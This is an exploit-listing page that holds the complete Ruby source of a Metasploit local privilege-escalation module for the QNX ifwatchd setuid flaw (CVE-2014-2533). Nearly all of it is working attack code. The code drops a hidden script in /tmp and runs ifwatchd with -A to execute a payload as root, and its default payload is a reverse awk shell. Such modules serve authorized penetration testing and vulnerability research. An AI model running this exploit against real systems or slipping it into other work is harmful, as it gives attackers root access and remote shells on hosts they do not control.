ifwatchd Privilege Escalation

2018.10.09
Credit: Tim Brown
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Linux::Priv include Msf::Post::File include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ifwatchd Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on QNX 6.4.x and 6.5.x systems by exploiting the ifwatchd suid executable. ifwatchd allows users to specify scripts to execute using the '-A' command line argument; however, it does not drop privileges when executing user-supplied scripts, resulting in execution of arbitrary commands as root. This module has been tested successfully on QNX Neutrino 6.5.0 (x86) and 6.5.0 SP1 (x86). }, 'License' => MSF_LICENSE, 'Author' => [ 'cenobyte', # Discovery and exploit 'Tim Brown', # Independent discovery 'Brendan Coles' # Metasploit ], 'References' => [ ['CVE', '2014-2533'], ['BID', '66449'], ['EDB', '32153'], ['URL', 'http://seclists.org/bugtraq/2014/Mar/66'] ], 'DisclosureDate' => 'Mar 10 2014', 'Platform' => 'unix', # QNX 'Arch' => ARCH_CMD, 'SessionTypes' => %w(shell meterpreter), 'Targets' => [['Automatic', {}]], 'Privileged' => true, 'Payload' => { 'BadChars' => '', 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'gawk generic' } }, 'DefaultOptions' => { 'WfsDelay' => 10, 'PAYLOAD' => 'cmd/unix/reverse_awk' } )) register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def ifwatchd_path '/sbin/ifwatchd' end def base_dir datastore['WritableDir'] end def check unless setuid? ifwatchd_path vprint_error "#{ifwatchd_path} is not setuid" return CheckCode::Safe end vprint_good "#{ifwatchd_path} is setuid" CheckCode::Detected end def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, 'Target not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end script_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}" print_status 'Writing interface arrival event script...' cmd_exec "echo '#!/bin/sh' > #{script_path}" cmd_exec "echo 'PATH=/bin:/usr/bin' >> #{script_path}" cmd_exec "echo 'IFWPID=$(ps -edaf | grep \"#{script_path}\" | awk \"!/grep/ { print $2 }\")' >> #{script_path}" exp = payload.encoded.gsub('"', '\"').gsub('$', '\$') cmd_exec "echo \"#{exp}\" >> #{script_path}" cmd_exec "echo 'kill -9 $IFWPID' >> #{script_path}" register_file_for_cleanup script_path cmd_exec "chmod +x '#{script_path}'" print_status "Executing #{ifwatchd_path}..." interface = 'lo0' cmd_exec "#{ifwatchd_path} -A '#{script_path}' -v #{interface} >/dev/null & echo " end end


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